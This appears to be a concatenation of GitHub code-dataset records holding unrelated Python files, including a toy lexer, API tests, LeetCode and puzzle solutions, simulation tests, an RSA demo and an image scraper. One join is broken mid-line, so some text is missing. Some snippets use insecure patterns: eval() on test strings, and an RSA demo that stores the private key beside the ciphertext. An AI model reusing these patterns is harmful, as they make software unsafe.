app.run()\n\n\n","repo_name":"CivicDataLab/transliteration_api","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17488549209","text":"###############\n#CONSTANTS\n###############\nDIGITS = '0123456789'\n\n###############\n#ERROR\n###############\n\nclass Error:\n def __init__(self,pos_start,pos_end,error_name,details):\n self.pos_start=pos_start\n self.pos_end=pos_end\n self.error_name=error_name\n self.details=details\n\n def as_string(self):\n result = f'{self.error_name}:{self.details} \\n'\n result+=f'File{self.pos_start.fn},line{self.pos_start.line + 1}'\n return result\n\nclass IllegalCharError(Error):\n def __init__(self,pos_start,pos_end, details):\n super().__init__(pos_start,pos_end,'Illegal Character',details)\n\nclass Position:\n def __init__(self,index,line,col,fn,ftxt):\n self.index=index\n self.line=line\n self.col=col\n self.fn=fn\n self.ftxt=ftxt\n \n def advance(self,current_char):\n self.index +=1\n self.col +=1\n\n if(current_char =='\\n'):\n self.line +=1\n self.col =0\n\n return self\n\n def copy(self):\n return Position(self.index,self.line,self.col,self.fn,self.ftxt)\n \n \n\n \n###############\n#TOKENS\n###############\nDD_INT = 'INT'\nDD_FLOAT = 'FLOAT'\nDD_PLUS = 'PLUS'\nDD_MINUS = 'MINUS'\nDD_MUL = 'MUL'\nDD_DIV = 'DIV'\nDD_MOD = 'MOD'\nDD_LPREN = 'LPREN'\nDD_RPREN = 'RPREN'\n\nclass Token:\n def __init__(self,type_,value=None):\n self.type=type_\n self.value=value\n def __repr__(self):\n if self.value:return f'{self.type}:{self.value}'\n return f'{self.type}'\n\n\n#################\n#LEXER\n#################\n\nclass Lexer:\n def __init__(self,fn,text):\n self.fn=fn\n self.text=text\n self.pos=Position(-1,0,-1,fn,text)\n self.current_char=None\n self.advance()\n \n def advance(self):\n self.pos.advance(self.current_char)\n self.current_char=self.text[self.pos.index] if self.pos.index None:\n new_log.info(\"====== 注册模块用例 开始执行 ========\")\n\n @classmethod\n def tearDownClass(cls) -> None:\n new_log.info(\"====== 注册模块用例 执行结束 ========\")\n db.close_db()\n\n # #注册成功\n @data(*new_register_data.all_data())\n def test_register(self,case):\n self._testMethodDoc = case['case_name']\n new_log.info(\"********* 执行用例{}:{} *********\".format(case[\"id\"],case[\"case_name\"]))\n #\n if case['data'].find(\"#email#\")!=1:\n new_email=''.join(random.sample('abcdefghijklmnopqrstuvwxyz', 8))\n setattr(Global_var,'email',new_email)\n case=replace_all_data(case)\n\n # 步骤 测试数据 - 发起请求\n res = send_request('post',case['url'],case['data'])\n\n # 期望结果,从字符串转换成字典对象\n expect=eval(case['expect'])\n try:\n self.assertEqual(res.json().get('code'),expect['code'])\n self.assertEqual(res.json()['msg'],expect['msg'])\n if case['check_sql']:\n new_log.debug('需要校验数据库')\n except AssertionError:\n new_log.debug(\"断言失败............................断言失败\",AssertionError)\n raise\n\n","repo_name":"shiyong979796/test_api1","sub_path":"test_case/test_register.py","file_name":"test_register.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34975911174","text":"import torch\nimport torch.nn as nn\nimport numpy as np\n\ndef eval_model(model, valid_dl):\n loss = model.loss.unit_loss\n model.eval()\n\n LLsum, Tsum, Rsum = 0, 0, 0\n from tqdm import tqdm\n \n device = next(model.parameters()).device # device the model is on\n if isinstance(valid_dl, dict):\n for dsub in valid_dl.keys():\n if valid_dl[dsub].device != device:\n valid_dl[dsub] = valid_dl[dsub].to(device)\n rpred = model(valid_dl)\n LLsum = loss(rpred,\n valid_dl['robs'][:,model.cids],\n data_filters=valid_dl['dfs'][:,model.cids],\n temporal_normalize=False)\n Tsum = valid_dl['dfs'][:,model.cids].sum(dim=0)\n Rsum = (valid_dl['dfs'][:,model.cids]*valid_dl['robs'][:,model.cids]).sum(dim=0)\n\n else:\n for data in tqdm(valid_dl, desc='Eval models'):\n \n for dsub in data.keys():\n if data[dsub].device != device:\n data[dsub] = data[dsub].to(device)\n \n with torch.no_grad():\n rpred = model(data)\n LLsum += loss(rpred,\n data['robs'][:,model.cids],\n data_filters=data['dfs'][:,model.cids],\n temporal_normalize=False)\n Tsum += data['dfs'][:,model.cids].sum(dim=0)\n Rsum += (data['dfs'][:,model.cids] * data['robs'][:,model.cids]).sum(dim=0)\n \n LLneuron = LLsum/Rsum.clamp(1)\n\n rbar = Rsum/Tsum.clamp(1)\n LLnulls = torch.log(rbar)-1\n LLneuron = -LLneuron - LLnulls\n\n LLneuron/=np.log(2)\n\n return LLneuron.detach().cpu().numpy()","repo_name":"VisNeuroLab/yates-beyond-fixation","sub_path":"scripts/models/utils/general.py","file_name":"general.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"30016998310","text":"import sys; sys.stdin = open('2806.txt', 'r')\n\n# 1차원 배열 생성 후 col[i]의 값이 j 라고 한다면 i행의 j열에 퀸이 있다는 의미.\n# 기본 : 같은 행에 퀸을 놓지 않는다.\n# 추가 : 같은 열 col[i] == col[k], 같은 대각선 col[i] - col[k] == i - k 에 놓이는지 확인\n# 결구 못풀고 다른사람 풀이 참고...\n\nT = int(input())\nfor tc in range(1, T+1):\n n = int(input())\n cnt = 0\n row = [0] * n\n\n def is_promising(x):\n for i in range(x):\n if row[x] == row[i] or abs(row[x] - row[i]) == abs(x - i):\n return False\n return True\n\n\n def n_queens(x):\n global cnt\n if x == n:\n cnt += 1\n\n else:\n for i in range(n):\n row[x] = i # 인덱스 x가 퀸의 행 위치, i가 열 위치\n if is_promising(x): # true 일 경우 백트래킹 하지 않고, 계속 진행\n n_queens(x + 1)\n\n n_queens(0)\n print(f'#{tc} {cnt}')","repo_name":"jijisusu3/algorithm_study_2","sub_path":"김은규/0317/2806_swea_N-Queen.py","file_name":"2806_swea_N-Queen.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74454794384","text":"from omni.isaac.core.utils.types import DynamicsViewState\n\nimport omni.kit.test\n\n\nimport numpy as np\nimport torch\nimport asyncio\n\nfrom pxr import Gf, Usd, UsdGeom\nfrom omni.physx.scripts import physicsUtils, deformableUtils\nfrom omni.isaac.core import World\nfrom omni.isaac.core.materials import ParticleMaterial\nfrom omni.isaac.core.prims import ParticleSystem, ClothPrim, ClothPrimView\nfrom omni.isaac.core.utils.stage import create_new_stage_async, update_stage_async\n\n# Having a test class dervived from omni.kit.test.AsyncTestCase declared on the root of module will make it auto-discoverable by omni.kit.test\nclass TestClothPrimView(omni.kit.test.AsyncTestCase):\n async def setUp(self):\n World.clear_instance()\n await create_new_stage_async()\n self.my_world = World(backend=\"torch\", device=\"cuda\")\n await self.my_world.initialize_simulation_context_async()\n self._test_cfg = dict()\n\n async def tearDown(self):\n self.my_world.clear_instance()\n await update_stage_async()\n\n async def test_cloth_prim_view_gpu_pipeline(self):\n self.isclose = torch.isclose\n self._array_container = torch.cuda.FloatTensor\n await update_stage_async()\n self.stage = omni.usd.get_context().get_stage()\n await self._runner()\n\n async def _runner(self):\n\n await update_stage_async()\n self.num_envs = 10\n self.dimx = 5\n self.dimy = 5\n\n for i in range(self.num_envs):\n env_path = \"/World/Env\" + str(i)\n env = UsdGeom.Xform.Define(self.stage, env_path)\n # set up the geometry\n cloth_path = env.GetPrim().GetPath().AppendChild(\"cloth\")\n self.plane_mesh = UsdGeom.Mesh.Define(self.stage, cloth_path)\n tri_points, tri_indices = deformableUtils.create_triangle_mesh_square(\n dimx=self.dimx, dimy=self.dimy, scale=1.0\n )\n self.plane_mesh.GetPointsAttr().Set(tri_points)\n self.plane_mesh.GetFaceVertexIndicesAttr().Set(tri_indices)\n self.plane_mesh.GetFaceVertexCountsAttr().Set([3] * (len(tri_indices) // 3))\n physicsUtils.setup_transform_as_scale_orient_translate(self.plane_mesh)\n physicsUtils.set_or_add_translate_op(self.plane_mesh, Gf.Vec3f(i * 2, 0.0, 2.0))\n physicsUtils.set_or_add_orient_op(self.plane_mesh, Gf.Rotation(Gf.Vec3d([1, 0, 0]), 15 * i).GetQuat())\n particle_system_path = env.GetPrim().GetPath().AppendChild(\"particleSystem\")\n particle_material_path = env.GetPrim().GetPath().AppendChild(\"particleMaterial\")\n particle_material = ParticleMaterial(prim_path=particle_material_path, drag=0.1, lift=0.3, friction=0.6)\n radius = 0.5 * (0.6 / 5.0)\n restOffset = radius\n contactOffset = restOffset * 1.5\n particle_system = ParticleSystem(\n prim_path=particle_system_path,\n simulation_owner=self.my_world.get_physics_context().prim_path,\n rest_offset=restOffset,\n contact_offset=contactOffset,\n solid_rest_offset=restOffset,\n fluid_rest_offset=restOffset,\n particle_contact_offset=contactOffset,\n )\n cloth = ClothPrim(\n prim_path=cloth_path, particle_system=particle_system, particle_material=particle_material\n )\n\n # create a view to deal with all the cloths\n self.cloth_view = ClothPrimView(prim_paths_expr=\"/World/Env*/cloth\", name=\"clothView1\")\n self.my_world.scene.add(self.cloth_view)\n await update_stage_async()\n\n for indexed in [False, True]:\n self._test_cfg[\"indexed\"] = indexed\n print(self._test_cfg)\n await self.position_test()\n await self.velocity_test()\n await self.spring_stiffness_test()\n await self.spring_damping_test()\n\n await self.my_world.stop_async()\n self.my_world.clear_instance()\n\n async def position_test(self):\n await self.my_world.reset_async()\n await omni.kit.app.get_app().next_update_async()\n indices = [1, 2] if self._test_cfg[\"indexed\"] else None\n prev_values = self.cloth_view.get_world_positions()\n new_values = prev_values[indices]\n self.cloth_view.set_world_positions(new_values, indices)\n cur_values = self.cloth_view.get_world_positions(indices)\n self.assertTrue(self.isclose(new_values, cur_values).all())\n mesh_points = self.plane_mesh.GetPointsAttr().Get()\n expected_shape = torch.Size(\n [len(indices) if self._test_cfg[\"indexed\"] else self.cloth_view.count, len(mesh_points), 3]\n )\n print(expected_shape, cur_values.shape)\n self.assertTrue(cur_values.shape == expected_shape)\n\n async def velocity_test(self):\n await self.my_world.reset_async()\n await omni.kit.app.get_app().next_update_async()\n indices = [1, 2] if self._test_cfg[\"indexed\"] else None\n prev_values = self.cloth_view.get_velocities()\n new_values = prev_values[indices]\n self.cloth_view.set_velocities(new_values, indices)\n cur_values = self.cloth_view.get_velocities(indices)\n self.assertTrue(self.isclose(new_values, cur_values).all())\n expected_shape = torch.Size(\n [\n len(indices) if self._test_cfg[\"indexed\"] else self.cloth_view.count,\n self.cloth_view.max_particles_per_cloth,\n 3,\n ]\n )\n self.assertTrue(cur_values.shape == expected_shape)\n\n async def paticle_masses_test(self):\n await self.my_world.reset_async()\n await omni.kit.app.get_app().next_update_async()\n indices = [1, 2] if self._test_cfg[\"indexed\"] else None\n prev_values = self.cloth_view.get_particle_masses()\n new_values = prev_values[indices]\n self.cloth_view.set_particle_masses(new_values, indices)\n cur_values = self.cloth_view.get_particle_masses(indices)\n self.assertTrue(self.isclose(new_values, cur_values).all())\n expected_shape = torch.Size(\n [\n len(indices) if self._test_cfg[\"indexed\"] else self.cloth_view.count,\n self.cloth_view.max_particles_per_cloth,\n ]\n )\n print(expected_shape, cur_values.shape)\n self.assertTrue(cur_values.shape == expected_shape)\n\n async def spring_stiffness_test(self):\n await self.my_world.reset_async()\n await omni.kit.app.get_app().next_update_async()\n indices = [1, 2] if self._test_cfg[\"indexed\"] else None\n prev_values = self.cloth_view.get_stretch_stiffnesses()\n new_values = prev_values[indices]\n self.cloth_view.set_stretch_stiffnesses(new_values, indices)\n cur_values = self.cloth_view.get_stretch_stiffnesses(indices)\n self.assertTrue(self.isclose(new_values, cur_values).all())\n expected_shape = torch.Size(\n [\n len(indices) if self._test_cfg[\"indexed\"] else self.cloth_view.count,\n self.cloth_view.max_springs_per_cloth,\n ]\n )\n print(expected_shape, cur_values.shape)\n self.assertTrue(cur_values.shape == expected_shape)\n\n async def spring_damping_test(self):\n await self.my_world.reset_async()\n await omni.kit.app.get_app().next_update_async()\n indices = [1, 2] if self._test_cfg[\"indexed\"] else None\n prev_values = self.cloth_view.get_spring_dampings()\n new_values = prev_values[indices]\n self.cloth_view.set_spring_dampings(new_values, indices)\n cur_values = self.cloth_view.get_spring_dampings(indices)\n self.assertTrue(self.isclose(new_values, cur_values).all())\n expected_shape = torch.Size(\n [\n len(indices) if self._test_cfg[\"indexed\"] else self.cloth_view.count,\n self.cloth_view.max_springs_per_cloth,\n ]\n )\n self.assertTrue(cur_values.shape == expected_shape)\n await self.my_world.stop_async()\n","repo_name":"swadaskar/Isaac_Sim_Folder","sub_path":"exts/omni.isaac.core/omni/isaac/core/tests/test_cloth_prim_view.py","file_name":"test_cloth_prim_view.py","file_ext":"py","file_size_in_byte":8121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4435722328","text":"import sys\nfp = sys.stdin.readline\ndbg = 1\nmaxn = 999\nif dbg: fp = open('random.txt','r').readline\nk,n,f = map(int,fp().split())\narr = [[0 for _ in range(maxn)] for _ in range(maxn)]\nskip_list = [0 for _ in range(maxn)]\n# get input from the media\nfor _ in range(f):\n a,b = map(int,fp().split())\n arr[a][b] = 1\n arr[b][a] = 1\n# get total number of friends each\nfor i in range(1,n+1):\n arr[i][i] = 1\n arr[i][0] = sum(arr[i])\n if arr[i][0] < k:\n skip_list[i] = 1\nfound = False\nfor i in range(1,n+1):\n if skip_list[i] == 0:\n for j in range(1,n+1):\n if skip_list[j] == 1:\n arr[i][j] = 0\n n_friends = sum(arr[i][1:n+1])\n arr[i][0] = n_friends\n if k <= n_friends: # it can be the answer\n cnt = 0\n for _ in range(1,n+1):\n if arr[i][_]: cnt+=1;print(_)\n if k <= cnt: break\n found = True\n break\n else:\n arr[i][0] = 0\n# search it\nif not found:\n print(\"-1\")","repo_name":"myhyper/boj","sub_path":"2026/wrong.py","file_name":"wrong.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71322904465","text":"from typing import Optional\n\n\nclass Node:\n def __init__(self, x: int, next: 'Node' = None, random: 'Node' = None):\n self.val = int(x)\n self.next = next\n self.random = random\n\n\nclass Solution:\n # https://leetcode.com/problems/copy-list-with-random-pointer/description/\n def copyRandomList_v3(self, head: 'Optional[Node]') -> 'Optional[Node]':\n # space O(1)\n # https://youtu.be/OvpKeraoxW0?t=644\n # 不想浪費額外空間保持 複製節點 和 原始節點的印射關係\n # 把 複製節點保存 在 原始節點的 next\n\n if head is None:\n return None\n\n origin = head\n while origin:\n fresh = Node(origin.val)\n origin_next = origin.next\n origin.next = fresh\n fresh.next = origin_next\n origin = origin_next\n\n origin = head\n while origin:\n fresh = origin.next\n if origin.random:\n fresh_random = origin.random.next\n fresh.random = fresh_random\n\n origin_next = fresh.next\n if origin_next:\n fresh.next = origin_next.next\n origin = origin_next\n\n return head.next\n\n def copyRandomList_v2(self, head: 'Optional[Node]') -> 'Optional[Node]':\n # space O(n)\n\n if head is None:\n return None\n\n temp = dict() # key:value = origin:fresh\n origin = head\n dummy = Node(-1)\n fresh = dummy\n\n while origin:\n node = Node(origin.val)\n temp[origin] = node\n\n fresh.next = node\n fresh = fresh.next\n\n origin = origin.next\n\n # 跟 v1 相比\n # 順序尋訪, 用原本的 list 就好\n # 不需要額外的 array 結構\n origin = head\n while origin:\n if origin.random:\n temp[origin].random = temp[origin.random]\n origin = origin.next\n\n return dummy.next\n\n def copyRandomList_v1(self, head: 'Optional[Node]') -> 'Optional[Node]':\n if head is None:\n return None\n\n temp = [] # idx:(origin,fresh)\n\n cursor = head\n while cursor:\n state = (cursor, Node(cursor.val))\n temp.append(state)\n cursor = cursor.next\n\n dummy = Node(-1)\n cursor = dummy\n for i in range(len(temp) - 1):\n origin, fresh = temp[i]\n fresh.next = temp[i + 1][1]\n for j in range(len(temp)):\n if origin.random == temp[j][0]:\n fresh.random = temp[j][1]\n cursor.next = fresh\n cursor = cursor.next\n\n origin, fresh = temp[-1]\n for j in range(len(temp)):\n if origin.random == temp[j][0]:\n fresh.random = temp[j][1]\n cursor.next = fresh\n\n return dummy.next\n\n\nif __name__ == '__main__':\n print(Solution())\n","repo_name":"KScaesar/DSA-python","sub_path":"problem/0138. Copy List with Random Pointer.py","file_name":"0138. Copy List with Random Pointer.py","file_ext":"py","file_size_in_byte":2937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18622965393","text":"import logging\n\n\ndef init_logging(log_filepath=None):\n LOG_FORMAT = '%(asctime)s %(levelname)s %(module)s %(process)d: %(message)s'\n logging.basicConfig(level=logging.INFO, format=LOG_FORMAT)\n if log_filepath:\n log_handler = logging.FileHandler(log_filepath)\n formatter = logging.Formatter(LOG_FORMAT)\n log_handler.setFormatter(formatter)\n logging.getLogger().addHandler(log_handler)\n","repo_name":"shonohs/mitorch","sub_path":"mitorch/commands/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6153567084","text":"def day1():\n calories = []\n tempCal = 0\n f = open('input.txt', 'r')\n lines = f.readlines()\n\n for line in lines:\n if line.strip() == '':\n calories.append(tempCal)\n tempCal = 0\n else:\n tempCal += int(line.strip())\n # print(f'temp {tempCal}')\n calories = sorted(calories, reverse=True)\n \n return f'Top elf: {calories[0]}\\n Top three elves added: {calories[0]+calories[1]+calories[2]}'\n \n \nif __name__ == \"__main__\":\n print(day1())\n","repo_name":"tylersfoot/Advent-Of-Code","sub_path":"2022/Day 1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"13083211673","text":"import pickle\nfrom gerador_de_chaves import gerandoChaves\nfrom calculo_hash import calcular_hash_SHA3\nfrom cifracao import cifrarMensagem\nfrom decifracao import decifrarMensagem\nfrom datetime import datetime\n\ndef RSA_Creator(msg, fileNameCreate):\n print(\"************ Executando o código de criação da mensagem cifrada ************\")\n # generate a key-pair\n [PublicKey, PrivateKey] = gerandoChaves()\n\n print(f\"Public key: (n={hex(PublicKey[0])}, e={hex(PublicKey[1])})\")\n print(f\"Private key: (n={hex(PrivateKey[0])}, d={hex(PrivateKey[1])}\")\n\n\n # Calculate the hashs in SHA-3\n hash = calcular_hash_SHA3(msg)\n print(\"Hash: \", hex(hash))\n\n # Cifra a mensagem\n mensagemCifrada = cifrarMensagem(msg, PublicKey[0], PublicKey[1])\n print(f\"mensagem cifrada: {mensagemCifrada}\")\n\n # Save the result in a pkl file\n Data = {\n \"MensagemCifrada\" : mensagemCifrada,\n \"PrivateKey\": PrivateKey,\n \"Hash\": hash,\n }\n a_file = open(fileNameCreate, \"wb\")\n pickle.dump(Data, a_file)\n a_file.close()\n print(f\"Todos os dados salvos no arquivo {fileNameCreate}\")\n\ndef RSA_Reader(fileNameRead):\n print(f\"************ Executando o código de decifração da mensagem ************\")\n # Parsing of the signed document\n print(f\"{datetime.now()} STATUS: Lendo o arquivo {fileNameRead}\")\n a_file = open(fileNameRead, \"rb\")\n fileRead = pickle.load(a_file)\n a_file.close()\n mensagemParaDecifrar = fileRead[\"MensagemCifrada\"]\n PrivateKeyParaDecifrar = fileRead[\"PrivateKey\"]\n hashMsgCifrada = fileRead[\"Hash\"]\n print(f\"{datetime.now()} STATUS: Arquivo lido com sucesso {fileNameRead}\")\n\n # Decrypt the sign\n mensagemDecifrada = decifrarMensagem(mensagemParaDecifrar, PrivateKeyParaDecifrar[0], PrivateKeyParaDecifrar[1])\n print(f\"mensagemDecifrada: {mensagemDecifrada}\")\n\n # Calculate and compare the hash of the file\n hashMsgDecifrada = calcular_hash_SHA3(mensagemDecifrada)\n if(hashMsgDecifrada == hashMsgCifrada):\n print(f\"Os hashs são iguais\")\n else:\n print(f\"Os hashs são diferentes\")\n\n\n# Choice the functions you want to run\nmsg = \"Mensagem\" # insert your precious message in here\nfileNameCreate = \"data.pkl\"\nRSA_Creator(msg, fileNameCreate)\n\nfileNameRead = \"data.pkl\"\nRSA_Reader(fileNameRead)\n","repo_name":"VictorRPacheco/GeradorEVerificadorDeAssinaturasRSA","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18025048336","text":"import os\nimport pickle\nimport face_recognition\nfrom cv2 import cv2\n\n\n# Функция, которая обрабатывает лица в датасете и тем самым обучает модель\ndef train_model_by_img(name):\n\n known_encodings = []\n images = os.listdir(\"dataset\")\n for (i, image) in enumerate(images):\n face_img = face_recognition.load_image_file(f\"dataset/{image}\")\n face_enc = face_recognition.face_encodings(face_img)[0]\n\n if len(known_encodings) == 0:\n known_encodings.append(face_enc)\n else:\n for item in range(0, len(known_encodings)):\n result = face_recognition.compare_faces([face_enc], known_encodings[item])\n\n if result [0]:\n known_encodings.append(face_enc)\n break\n else:\n break\n data = {\n \"name\": name,\n \"encodings\": known_encodings\n }\n\n with open(f\"{name}_encodings.pickle\", \"wb\") as file:\n file.write(pickle.dumps(data))\n return f\"[INFO] Файл {name}_encodings.pickle успешно создан\"\n\n\ndef main():\n train_model_by_img(\"leo\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"smth-infernal/face_recognition","sub_path":"recognition_model.py","file_name":"recognition_model.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32991371601","text":"def main(): \n N = int(input())\n result = []\n l = {\"3\", \"6\", \"9\"}\n for i in range(1,N+1):\n count = 0\n for j in l:\n count += str(i).count(j)\n if count > 0:\n result.append(\"-\"*count)\n else:\n result.append(i)\n for k in result:\n print(k,end=\" \")\nmain()","repo_name":"kimdahee7/CodingTest_Python","sub_path":"SWEA/D2/1926. 간단한 369게임/간단한 369게임.py","file_name":"간단한 369게임.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12867938899","text":"from typing import Callable, Optional\n\nfrom requests.models import Response\n\nfrom anki_card_template.message_templates.abstract_message_template import \\\n AbstractMessageTemplate\nfrom extensions.exceptions.message_template_exceptions import \\\n ResponseEmptyException\nfrom extensions.usefull_functions import convert_content_loads\nfrom extensions.user_data_transfer_object import UserDataTransferObject\n\nMethodToCreateTemplate = Callable[[dict, UserDataTransferObject], dict]\n\n\nclass JsonYandexMessageTemplate(AbstractMessageTemplate):\n \"\"\"\n Class for creating template with Yandex response\n \"\"\"\n\n def make_template(self, response: Response, user_data: UserDataTransferObject) -> dict:\n \"\"\"\n Make template for Anki if response method as JSON\n :param response: Response from api\n :param user_data: user given data\n :return: Data for Anki\n \"\"\"\n response_dict = convert_content_loads(response.content).get('def', None)\n self.__validate_by_content(response_dict)\n template_creator = self.chose_template_create_method_by_user_action()\n template = template_creator(response_dict, user_data)\n\n return template\n\n def chose_template_create_method_by_user_action(self) -> Optional[MethodToCreateTemplate]:\n if self.user_action == 'create_one_note':\n template_creator = self.template_for_one_note\n else:\n template_creator = None\n return template_creator\n\n def template_for_one_note(self, response_dict: dict, user_data: UserDataTransferObject) -> dict:\n \"\"\"\n template for one note\n :param response_dict: response from Yandex API\n :param user_data: user given data\n :return: dict to send\n \"\"\"\n template = {}\n template['front'] = f'{user_data.text_to_translate}'\n\n back = f'User example: {user_data.text_example}

    '\n for pos in response_dict:\n translate = ''\n\n for tr in pos['tr']:\n translate += f\"- {tr['text']} \"\n translate = self.add_syn_and_example(tr, translate)\n part_of_speech = pos.get('pos', 'None part of speech')\n back += f\"Part of speech: {part_of_speech}
    \" \\\n f\"Translate:
        {translate}\" \\\n f\"
    ----------------------------
    \"\n\n template['back'] = back\n return template\n\n @staticmethod\n def add_syn_and_example(tr: dict, translate: str) -> str:\n syn = tr.get('syn')\n example = tr.get('ex')\n if syn is not None:\n syn_string = ', '.join([word['text'] for word in syn])\n translate += f\" (Synonyms: {syn_string})\"\n\n if example is not None:\n example_string = '
    '.join(\n ['        '\n + word['text'] + ' - ' + word['tr'][0]['text'] for word in example]\n )\n translate += f\"
    {example_string}
    \"\n\n translate += '
        '\n return translate\n\n @staticmethod\n def __validate_by_content(response_content: dict):\n \"\"\"\n If content is empty\n :param response_content: content from response\n \"\"\"\n if response_content is None or response_content == []:\n raise ResponseEmptyException(response_content)\n","repo_name":"epovv/AnkiCardBuilder","sub_path":"anki_card_template/message_templates/yandex_message_template.py","file_name":"yandex_message_template.py","file_ext":"py","file_size_in_byte":3417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25871756671","text":"import sys\n\ndef input():\n return sys.stdin.readline().rstrip()\n\n\ndef check(mid):\n idx = 0\n temp = []\n cnt = 0\n while idxM:\n return False\n if temp:\n min_value,max_value = min(temp),max(temp)\n if abs(arr[idx]-min_value)>mid or abs(arr[idx]-max_value)>mid:\n cnt += 1\n temp = [arr[idx]]\n else:\n temp.append(arr[idx])\n else:\n temp.append(arr[idx])\n idx += 1\n if temp:\n cnt += 1\n if cnt>M:\n return False\n return True\n \n\nN,M = map(int,input().split())\n\narr = list(map(int,input().split()))\n\n\nleft = -1\nright = 10001\nwhile left+1= 0.0, 1, -1)","repo_name":"write2imran/datascience","sub_path":"sl/perceptron/perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73899105744","text":"# -*- coding: utf-8 -*-\nfrom collective.cart.core.browser.interfaces import IOrderView\nfrom collective.cart.core.browser.view import OrderView\nfrom collective.cart.core.tests.base import IntegrationTestCase\n\nimport mock\n\n\nclass OrderViewTestCase(IntegrationTestCase):\n \"\"\"TestCase for OrderView\"\"\"\n\n def test_subclass(self):\n from Products.Five import BrowserView\n self.assertTrue(issubclass(OrderView, BrowserView))\n from collective.base.interfaces import IBaseFormView\n self.assertTrue(issubclass(IOrderView, IBaseFormView))\n\n def test_verifyObject(self):\n from zope.interface.verify import verifyObject\n instance = self.create_view(OrderView)\n self.assertTrue(verifyObject(IOrderView, instance))\n\n def test_title(self):\n order = self.create_content('collective.cart.core.Order', id='2')\n instance = self.create_view(OrderView, order)\n self.assertEqual(instance.title(), u'order_view_title')\n\n def test_description(self):\n order = self.create_content('collective.cart.core.Order', id='2', description=\"Descriptiön\")\n instance = self.create_view(OrderView, order)\n self.assertEqual(instance.description(), 'Descriptiön')\n\n def test___call__(self):\n instance = self.create_view(OrderView)\n template = mock.Mock()\n instance.template = template\n self.assertEqual(instance(), template())\n","repo_name":"collective/collective.cart.core","sub_path":"src/collective/cart/core/tests/test_OrderView.py","file_name":"test_OrderView.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21958683677","text":"import re\n\n\ndef normalize_buffer(input_buffer: str) -> str:\n \"\"\"Method for clear color fro input_buffer and special characters.\"\"\"\n color_pattern = re.compile(\n r\"\\[[0-9]+;{0,1}[0-9]+m|\\[[0-9]+m|\\b|\" + chr(27)\n ) # 27 - ESC character\n\n result_buffer = \"\"\n\n match_iter = color_pattern.finditer(input_buffer)\n\n current_index = 0\n for match_color in match_iter:\n match_range = match_color.span()\n result_buffer += input_buffer[current_index : match_range[0]]\n current_index = match_range[1]\n\n result_buffer += input_buffer[current_index:]\n\n result_buffer = result_buffer.replace(\"\\r\\n\", \"\\n\")\n\n return re.sub(r\"[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f-\\xff]\", \"\", result_buffer)\n","repo_name":"QualiSystems/cloudshell-cli","sub_path":"cloudshell/cli/session/helper/normalize_buffer.py","file_name":"normalize_buffer.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"39935999402","text":"from setuptools import find_packages,setup\nfrom typing import List\n\n\n\ndef get_requirements(file_path:str)->List[str]:\n '''\n this function will return list of requiements\n '''\n requirements=[]\n with open(file_path) as file_obj:\n requirements = file_obj.readlines()\n requirements=[i.replace('\\n',\"\") for i in requirements]\n\n if '-e .' in requirements:\n requirements.remove('-e .')\n return requirements\n\n\nsetup(\nname='mlproject',\nversion ='0.0.1',\nauthor='sarthak',\nauthor_email='sarthakparande19@gmail.com',\npakages=find_packages(),\ninstall_requires=get_requirements('requirements.txt')\n)","repo_name":"sarthakp19/mlopsproject","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34338060914","text":"#-*- coding:utf-8 -*-\nimport re\nimport requests\n\ndef downloadPic(html, keyword):\n pic_url = re.findall('\"objURL\":\"(.*?)\",', html, re.S)\n i = 1\n print('find keyword:' + keyword + '\\'s picture, now start downing pic ...')\n\n for each in pic_url:\n print('downing ' + str(i) + 'th pic, pic addr:' + str(each))\n try:\n pic = requests.get(each, timeout=10)\n except requests.exceptions.ConnectionError:\n print('error: current pic can\\'t be downloaded')\n continue\n\n dir = './images/' + keyword + '_' + str(i) + '.jpg'\n fp = open(dir, 'wb')\n fp.write(pic.content)\n fp.close()\n i += 1\n\nif __name__ == '__main__':\n word = input(\"Input key word:\")\n 